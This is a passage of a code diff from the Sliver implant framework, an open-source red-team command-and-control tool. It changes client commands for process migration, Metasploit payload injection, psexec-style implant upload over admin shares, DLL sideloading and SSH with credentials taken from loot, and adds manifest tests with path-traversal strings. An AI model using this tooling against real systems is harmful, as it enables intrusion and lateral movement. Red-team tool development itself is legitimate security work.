fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = os.CreateTemp("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
-10
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -36,19 +33,12 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if ctx.Flags.Bool("disable-sgn") {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
Encoder: encoder,
})
ctrl <- true
<-ctrl
+6 -23
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -49,23 +49,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -98,15 +90,6 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+6 -29
View File
@@ -25,15 +25,14 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,21 +46,12 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -73,20 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
con.PrintInfof("Executed payload on target\n")
}
}
+33 -66
View File
@@ -21,19 +21,16 @@ package exec
import (
"context"
"fmt"
"os"
insecureRand "math/rand"
"strings"
"time"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
@@ -50,12 +47,10 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -66,46 +61,35 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
filename := randomFileName()
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -174,28 +158,11 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomFileName() string {
noun, _ := codenames.RandomNoun()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
return string(b)
}
+21 -18
View File
@@ -21,6 +21,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -45,13 +46,11 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -63,9 +62,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
@@ -74,7 +70,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -82,27 +78,34 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
PrintSideload(sideload, hostname, ctx, con)
}
}
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+22 -31
View File
@@ -1,27 +1,11 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -42,7 +26,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -64,7 +48,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -72,27 +56,34 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+17 -50
View File
@@ -1,29 +1,12 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -48,9 +31,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
port := ctx.Flags.Uint("port")
privateKeyPath := ctx.Flags.String("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -60,19 +43,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
kerberosConfig := ctx.Flags.String("kerberos-config")
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
@@ -89,9 +59,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -142,18 +109,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
if confirm {
// cred, err := loot.SelectCredentials(con)
// if err != nil {
// con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
// } else {
// switch cred.CredentialType {
// case clientpb.CredentialType_API_KEY:
// privKey = []byte(cred.Credential.APIKey)
// case clientpb.CredentialType_USER_PASSWORD:
// username = cred.Credential.User
// password = cred.Credential.Password
// }
// }
cred, err := loot.SelectCredentials(con)
if err != nil {
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
} else {
switch cred.CredentialType {
case clientpb.CredentialType_API_KEY:
privKey = []byte(cred.Credential.APIKey)
case clientpb.CredentialType_USER_PASSWORD:
username = cred.Credential.User
password = cred.Credential.Password
}
}
}
return username, password, privKey
}
+18 -23
View File
@@ -1,51 +1,46 @@
Extensions
===========
====
Allows to load and execute 3rd party extensions.
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
be ignored.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── extension.json
├── manifest.json
└── windows
│ └── extension.x86.dll
│ └── extension.x64.dll
└── linux
│ └── extension.x86.so
│ └── extension.x64.so
└── darwin
└── extension.x86.dylib
└── extension.x64.dylib
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"version": "1.0.0",
"extension_author": "ac1d-burn",
"original_author": "zer0-cool",
"repo_url": "https://github.com/foo/bar",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"depends_on": "bar",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "extension.x64.o",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
@@ -56,7 +51,7 @@ The structure is the following one:
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
-125
View File
@@ -1,125 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
func PrintExtensions(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
"Extension Author",
"Original Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
extension.Name,
extension.CommandName,
strings.Join(extensionPlatforms(extension), ",\n"),
extension.Version,
installed,
extension.ExtensionAuthor,
extension.OriginalAuthor,
extension.RepoURL,
})
}
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
installedManifests := getInstalledManifests()
results := []string{}
for _, manifest := range installedManifests {
if strings.HasPrefix(manifest.CommandName, prefix) {
results = append(results, manifest.CommandName)
}
}
return results
}
@@ -1,245 +0,0 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
